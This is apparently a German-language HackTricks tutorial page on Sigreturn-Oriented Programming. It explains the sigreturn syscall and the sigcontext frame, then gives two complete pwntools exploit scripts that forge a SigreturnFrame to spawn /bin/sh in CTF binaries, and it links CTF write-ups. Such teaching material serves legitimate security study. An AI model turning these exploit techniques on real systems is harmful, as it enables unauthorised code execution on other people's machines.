SROP - Sigreturn-Oriented Programming
Reading time: 6 minutes
tip
Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Sigreturn
ist ein spezieller syscall, der hauptsĂ€chlich verwendet wird, um nach der AusfĂŒhrung eines Signalhandlers aufzurĂ€umen. Signale sind Unterbrechungen, die vom Betriebssystem an ein Programm gesendet werden, oft um anzuzeigen, dass eine auĂergewöhnliche Situation aufgetreten ist. Wenn ein Programm ein Signal erhĂ€lt, pausiert es vorĂŒbergehend seine aktuelle Arbeit, um das Signal mit einem Signalhandler zu behandeln, einer speziellen Funktion, die dafĂŒr ausgelegt ist, mit Signalen umzugehen.
Nachdem der Signalhandler fertig ist, muss das Programm seinen vorherigen Zustand wiederherstellen, als ob nichts passiert wÀre. Hier kommt sigreturn
ins Spiel. Es hilft dem Programm, vom Signalhandler zurĂŒckzukehren und stellt den Zustand des Programms wieder her, indem es den Stackrahmen (den Abschnitt des Speichers, der Funktionsaufrufe und lokale Variablen speichert) aufrĂ€umt, der vom Signalhandler verwendet wurde.
Der interessante Teil ist, wie sigreturn
den Zustand des Programms wiederherstellt: Es geschieht, indem alle Registerwerte der CPU auf dem Stack gespeichert werden. Wenn das Signal nicht mehr blockiert ist, poppt sigreturn
diese Werte vom Stack, wodurch die Register der CPU effektiv auf ihren Zustand vor der Signalbehandlung zurĂŒckgesetzt werden. Dazu gehört das Stackzeigerregister (RSP), das auf die aktuelle Spitze des Stacks zeigt.
caution
Das Aufrufen des syscalls sigreturn
aus einer ROP-Kette und das HinzufĂŒgen der Registerwerte, die wir im Stack laden möchten, ermöglicht es, alle Registerwerte zu steuern und daher beispielsweise den syscall execve
mit /bin/sh
aufzurufen.
Beachten Sie, wie dies eine Art von Ret2syscall wÀre, die es viel einfacher macht, Parameter zu steuern, um andere Ret2syscalls aufzurufen:
Wenn Sie neugierig sind, hier ist die sigcontext-Struktur, die im Stack gespeichert wird, um spÀter die Werte wiederherzustellen (Diagramm von hier):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
FĂŒr eine bessere ErklĂ€rung siehe auch:
Beispiel
Du kannst ein Beispiel hier finden, wo der Aufruf von signeturn ĂŒber ROP konstruiert wird (indem der Wert 0xf
in rxa eingegeben wird), obwohl dies der endgĂŒltige Exploit von dort ist:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
ĂberprĂŒfen Sie auch den Exploit von hier, wo die BinĂ€rdatei bereits sigreturn
aufgerufen hat und es daher nicht erforderlich ist, dies mit einem ROP zu erstellen:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Weitere Beispiele & Referenzen
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Assembly-BinÀrdatei, die es ermöglicht, in den Stack zu schreiben und dann den
sigreturn
Syscall aufzurufen. Es ist möglich, auf den Stack einen ret2syscall ĂŒber eine sigreturn Struktur zu schreiben und das Flag zu lesen, das sich im Speicher der BinĂ€rdatei befindet. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Assembly-BinÀrdatei, die es ermöglicht, in den Stack zu schreiben und dann den
sigreturn
Syscall aufzurufen. Es ist möglich, auf den Stack einen ret2syscall ĂŒber eine sigreturn Struktur zu schreiben (die BinĂ€rdatei enthĂ€lt die Zeichenkette/bin/sh
). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 Bit, kein relro, keine Canary, nx, kein pie. Einfacher Buffer Overflow, der die
gets
Funktion ausnutzt, mit einem Mangel an Gadgets, die einen ret2syscall ausfĂŒhren. Die ROP-Kette schreibt/bin/sh
in die.bss
, indem siegets
erneut aufruft, sie missbraucht diealarm
Funktion, um eax auf0xf
zu setzen, um ein SROP aufzurufen und eine Shell auszufĂŒhren. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64-Bit-Assembly-Programm, kein relro, keine Canary, nx, kein pie. Der Fluss ermöglicht es, in den Stack zu schreiben, mehrere Register zu steuern und einen Syscall aufzurufen, und dann wird
exit
aufgerufen. Der ausgewÀhlte Syscall ist einsigreturn
, der Register setzen undeip
verschieben wird, um eine vorherige Syscall-Anweisung aufzurufen undmemprotect
auszufĂŒhren, um den BinĂ€rspeicher aufrwx
zu setzen und den ESP im BinÀrspeicher zu setzen. Folgt man dem Fluss, wird das Programm erneutread
in den ESP aufrufen, aber in diesem Fall wird der ESP auf die nĂ€chste Anweisung zeigen, sodass das Ăbergeben eines Shellcodes es als die nĂ€chste Anweisung schreiben und ausfĂŒhren wird. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP wird verwendet, um AusfĂŒhrungsprivilegien (memprotect) an den Ort zu geben, an dem ein Shellcode platziert wurde.
tip
Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.